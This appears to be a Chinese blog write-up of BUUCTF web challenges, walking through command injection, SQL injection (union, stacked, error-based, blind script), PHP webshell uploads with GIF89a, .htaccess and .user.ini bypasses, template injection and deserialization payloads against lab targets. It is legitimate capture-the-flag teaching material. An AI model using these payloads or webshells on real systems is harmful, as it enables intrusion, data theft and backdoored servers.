BUUCTF-Web

[GXYCTF2019]Ping Ping Ping

输入ip=127.0.0.1后有回显

输入127.0.0.1|ls

 发现存在两个文件,对flag.php进行访问,?ip=127.0.0.1|cat flag.php

 

空格被过滤掉了,尝试绕过空格的方法

/?ip=127.0.0.1|{cat,flag.php}

发现大括号被过滤了

/?ip=127.0.0.1|cat$IFS$9flag.php

 flag也被过滤掉了

尝试访问另一个文件,index.php    

/?ip=127.0.0.1|cat$IFS$9index.php

 

方法一:变量拼接字符串——将a的值覆盖,然后进行绕过

/?ip=127.0.0.1;a=g;cat$IFS$9fla$a.php

啥也没有,查看源码,得到flag

 方法二:内联执行

内联函数:将指定的函数体插入并取代每一处调用该函数的地方。

反引号在linux中作为内联执行,执行输出结果。也就是说

cat `ls`   执行ls输出 index.php 和 flag.php 。然后再执行 cat flag.php;cat index.php

构造payload /?ip=127.0.0.1;cat$IFS$9`ls`

 方法三:sh命令来执行

使用 base64 编码的方式来绕过 flag 过滤。

加密命令
echo “cat flag.php” | base64
解密命令并执行
echo Y2F0IGZsYWcucGhwCg== | base64 -d | sh

然后用$IFS$9代替空格。
构造payload:/?ip=127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhwCg==$IFS$9|$IFS$9base64$IFS$9-d$IFS$9|$IFS$9sh

[强网杯 2019]随便注

此题为单引号闭合

 使用联合查询,出现报错

爆库名:1';show databases;#

爆表名:1'; show tables;# 

 

爆列名1'; show columns from words;#

1'; show columns from `1919810931114514`;#

表名为数字时,要用反引号包起来查询。

出现flag字段,查询其内容时发现flag被过滤

思路:将words表名改为words1,再将数字表名改为words,这样查询语句就会查询数字表名,我们再将flag字段名改为id字段或者直接添加id字段,就可以达到使用原先代码中的查询语句对flag中的内容进行查询,payload如下

1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#
在使用万能密码1'or 1=1#

 得到flag

关键字过滤之等价函数替换

查询语句除了我们常用的“SELECT”语句以外还有HANDLER。并且在官方的说明中“HANDLER查询性能比SELECT更好”所以我们可以直接换个查询函数。

1'; handler `1919810931114514` open as flag; handler flag read next;#

[极客大挑战 2019]Secret File

查看源码,有一个./Archive room.php 对其进行查看

点击select 

 什么都没有

尝试抓包试试

 发现有一个secr3t.php,尝试对其访问

这里提示flag放在了flag.php中,对其进行访问

 

没有发现flag,此时使用php的封装协议 

/secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php

使用base64解码得到flag

[极客大挑战 2019]LoveSQL 

  说明该题为单引号闭合,使用联合查询

判断回显位

1'union select 1,2,3#

爆数据库:1'union select 1,2,database()# 

爆表名:1'union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='geek'# 

爆列名:1'union select 1,2,group_concat(column_name)from information_schema.columns where table_schema='geek' and table_name='l0ve1ysq1'# 

爆数据:1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1#

找到flag 

[极客大挑战 2019]Http

查看源代码,有一个Secret.php,对其进行访问

说明页面得来自https://www.Sycsecret.com,添加referer即可 

 

添加User-Agent:Syclover

 添加X-Forwarded-For:127.0.0.1

[极客大挑战 2019]Knife

使用蚁剑进行连接

查看目录

 查看根目录找到flag

拿到flag 

 [极客大挑战 2019]Upload

创建一个木马文件

<?php eval(@$_POST['password']);?>
上传文件

 用burp suite抓包修改Content-Type的内容为 image/jpeg

说明文件名后缀不能为php,尝试使用 phtml文件 不能包含:" <? " 还要进行绕过

使用 script标签 绕过“<?”限制:<script language='php'>@eval($_POST['password']);</script> 这里还是不行 说上传的不图片 

使用 GIF89a 图片头文件欺骗 php会检测其为gif图片

GIF89a
<script language="php">eval($_POST['password']);</script> 

用蚁剑链接后找到flag

[ACTF2020 新生赛]Upload 

有弹窗警告,前端做了过滤,关闭js弹窗

 上传上一题用过地文件,上传成功,用蚁剑进行连接

找到flag

[极客大挑战 2019]BabySQL 

该题为单引号闭合

使用联合查询 1'union select 1,2,3# 

根据报错,可能union和select被过滤了,使用双写进行绕过 1' ununionion seselectlect 1,2,3#

回显位置是2和3,爆数据库 1' ununionion seselectlect 1,2,group_concat(schema_name)frfromom(infoorrmation_schema.schemata)#

猜测flag在ctf中,爆表:1' ununionion seselectlect 1,2, group_concat(table_name)frfromom(infoorrmation_schema.tables) whwhereere table_schema="ctf"#

爆列名: 1' ununionion seselectlect 1,2,group_concat(column_name) frfromom (infoorrmation_schema.columns) whwhereere table_name="Flag"#

爆数据:1' ununionion seselectlect 1,2,group_concat(flag) frfromom(ctf.Flag)# 

[极客大挑战 2019]PHP 

提示有备份网站马,dirsearch进行扫描

通过扫描有www.zip文件,将其下载

在index.php中可以发现需要get传参select进行反序列化

通过对源码分析,当username=admin,password=100时可输出flag 

 进行序列化

还要绕过_wakeup函数,所以要修改参数的值

O:4:"Name":3:{s:14:"%00Name%00username%00";s:5:"admin";s:14:"%00Name%00password%00";i:100;} 

[ACTF2020 新生赛]BackupFile 

 用dirsearch进行扫描,访问index.php.bak

通过key变量get传参,要求此变量必须是数字,且取整数之后值为123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3
取key的值为123

 [RoarCTF 2019]Easy Calc

查看源码有一个calc.php,对其进行访问

$(“#content”).val()相当于 document.getElementById(“content”).value; 

  

chr() 函数:从指定的 ASCII 值返回字符。 ASCII 值可被指定为十进制值、八进制值或十六进制值。八进制值被定义为带前置0,而十六进制值被定义为带前置 0x。
file_get_contents() 函数:把整个文件读入一个字符串中。该函数是用于把文件的内容读入到一个字符串中的首选方法。如果服务器操作系统支持,还会使用内存映射技术来增强性能。
PHP的字符串解析特性:PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:1.删除空白符 2.将某些字符转换为下划线(包括空格)【当waf不让你过的时候,php却可以让你过】。假如waf不允许num变量传递字母,可以在num前加个空格,这样waf就找不到num这个变量了,因为现在的变量叫“ num”,而不是“num”。但php在解析的时候,会先把空格给去掉,这样我们的代码还能正常运行,还上传了非法字符。
scandir() 函数:返回指定目录中的文件和目录的数组。

 由于“/”被过滤了,所以我们可以使用chr(47)来进行表示,进行目录读取:
calc.php? num=1;var_dump(scandir(chr(47)))

构造:/flagg——chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)
payload:calc.php? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

 http走私攻击

[极客大挑战 2019]BuyFlag

查看源码,有一个pay.php对其进行访问

查看源码 

以post方式传参,money=100000000,password满足等于404,但是不能为数字,所以password等于404+任意字符 ,用burpsuite抓包,右键修改方式为POST

 修改cookie里的user=0user=1

提示字符串太长,使用科学计数法

 得到flag

[BJDCTF2020]Easy MD5 

查看源代码什么也没有

使用burp suite抓包 

通过抓包发现为md5绕过,输入ffifdyop

 查看源码

md5加密后的值开头为0e时他们的值相等 

?a=s878926199a&b=s155964671a

这里用php数组绕过,由于哈希函数无法处理php数组,在遇到数组时返回false,我们就可以利用false==false成立使条件成立。

[HCTF 2018]admin 

注册一个账号进行登录

点击修改密码,查看源码,有一个地址,对其进行访问 

在app文件里找到routes.py路由文件 

 用Admin注册,后台代码就会调用一次nodeprep.prepare函数,把用户名转换成Admin;修改一次密码,再次调用nodeprep.prepare函数,使用户名由Admin转换为admin,重新登陆,就可以得到flag

[MRCTF2020]你传你🐎呢

上传一句话木马失败

上传图片马也失败了

 使用前面的文件同样也不能绕过。此题需要上传两个文件,第一个:.htaccess文件,用来改变文件扩展名

<FilesMatch "1.png">
SetHandler application/x-httpd-php
</FilesMatch>
<FilesMatch "1.png">指定的是要上传的文件,注意文件名必须相同

先上传后缀名为1.png的一句话木马,在上传.htaccess文件

抓包后进行修改content-type

上传成功之后就可以 用蚁剑进行连接,找到flag

 [护网杯 2018]easy_tornado

进入flag.txt发现filename的值为fllllllllllllag

 

这个时第二个参数的值,将cookie_secret+filename的值md5加密后的值,整体再md5加密;然后把最后的值赋给filehash 

render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页 ,如果用户对render内容可控,不仅可以注入XSS代码,而且还可以通过{{}}进行传递变量和执行简单的表达式。
Tornado是一种 Web 服务器软件的开源版本。Tornado 和现在的主流 Web 服务器框架(包括大多数 Python 的框架)有着明显的区别:它是非阻塞式服务器,而且速度相当快。

在tornado模板中,存在一些可以访问的快速对象,这里用到的是handler.settings,handler指向RequestHandler,而RequestHandler.settings又指向self.application.settings,所以handler.settings就指向RequestHandler.application.settings了,这里面就是我们的一些环境变量

模板注入:/error?msg={{handler.settings}} 

这样就可以得到cookie_secret的值 

filename的值md5加密后为3bf9f6cf685a6dd8defadabfb41a03a1
cookie_secret+md5(filename)的值为a1f8ccfb-669f-4d73-a4ca-35c64f2c4b513bf9f6cf685a6dd8defadabfb41a03a1
构造payload:/file?filename=/fllllllllllllag&filehash=8f863852c040284e8579a680a34aaf57

[ZJCTF 2019]NiZhuanSiWei 

这里注释里面有useless.php

访问该文件,发现什么都没有

代码审计:有这样一行代码isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf",我们需要传入一个内容为welcome to the zjctf的文件。这时就要用到data协议,data协议通常是用来执行PHP代码,也可以将内容写入data协议中,然后让file_get_contents函数取读取。构造:data://text/plain,welcome to the zjctf,为了绕过某些过滤,这里用到base64编码。构造payload:text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=。然后有一个可控参数file,构造file=useless.php,但是针对php文件我们需要进行base64编码,否则读取不到其内容,所以构造payload:file=php://filter/read=convert.base64-encode/resource=useless.php

提交?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php

将以上内容进行base64解码获得源码

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  

?>  

<?php  
class Flag{
    public $file='flag.php';  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  

$password=new Flag();
$password = serialize($password);
echo $password; 
?>  

最后的payload为/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

 

查看源码

 [极客大挑战 2019]HardSQL

经测试,该题为单引号闭合

 

 大小写,双写,and,=,空格等被过滤,使用报错注入

爆数据库:1'or(updatexml(1,concat(0x7e,(database()),0x7e),1))#

爆表名:1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek')),0x7e),1))# 

爆列名:

1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#

爆数据:1'or(updatexml(1,concat(0x7e,(select(password)from(H4rDsq1)),0x7e),1))# 

这里只爆出前面一部分flag,然后再使用right()函数拼接flag

 1'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))# 

[MRCTF2020]Ez_bypass 

通过分析,要求md5($id) === md5($gg) && $id !== $gg

使用数组绕过,/?id[]=a&gg[]=b

post传参passwd=1234567a

 [网鼎杯 2020 青龙组]AreUSerialz

通过源码可知,该题为反序列化

 编写脚本

构造payload:?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}

使用base64解码即可得到flag

[GXYCTF2019]BabyUpload

上传后缀为png的文件失败

 先上传1.png的文件,进行抓包,修改content-type为image/jpeg

再上传.htaccess的文件

 上传成功后即可用蚁剑进行连接

[SUCTF 2019]CheckIn

发现后台使用了exif_imagetype这个函数进行检测文件,用GIF89a绕过

创建.user.ini文件构成php后门

创建图片马

 用蚁剑连接

 [GXYCTF2019]BabySQli

先尝试输入管理员账户admin

查看源码

 使用base32和base64解码,解密后为:

select * from user where username = '$name'

尝试万能密码:username:admin' or '1'='1 password:123

输入别的用户名和密码显示的是传错了,说明存在admin账户

mysql在查询不存在的数据时会自动构建虚拟数据,一般数据要么明文,要么MD5;
构造payload:'union select 1,'admin','670b14728ad9902aecba32e22fa4f6bd'#

[GYCTF2020]Blacklist

该题为单引号闭合,且一些关键字被过滤

使用堆叠注入

1’;show databases;#

 1';show tables;#

1'; show columns from FlagHere;#

1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;#

[CISCN2019 华北赛区 Day2 Web1]Hack World

该题提示flag在flag表里的flag字段,并且很多关键字都被过滤,使用盲注


import requests
import string

def blind_injection(url):
    flag = ''
    strings = string.printable
    for num in range(1,60):
        for i in strings:
            payload = '(select(ascii(mid(flag,{0},1))={1})from(flag))'.format(num,ord(i))
            post_data = {"id":payload}
            res = requests.post(url=url,data=post_data)
            if 'Hello' in res.text:
                flag += i
                print(flag)
            else:
                continue
    print(flag)


if __name__ == '__main__':
    url = 'http://64368c9f-dd87-4c49-b9a1-d4b82e98c87a.node3.buuoj.cn/index.php'
    blind_injection(url)
 

 [网鼎杯 2018]Fakebook

先注册一个账号,username有链接,点击链接,url中有get传参no 

尝试sql注入

 ?no=3 union/**/select 1,2,3,4#

回显点为2

使用联合查询,?no=3 union/**/select 1,(select table_name from information_schema.tables where table_schema=database()),3,4#

?no=3 union/**/select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3,4#

?no=3 union/**/select 1,(select data from users where no=1),3,4# 

 通过扫描,存在flag.php的文件

O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:123;s:4:"blog";s:22:"https://www.baidu.com/";}

?no=0 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'#

 base64解码即可得到flag

  • 21
    点赞
  • 31
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值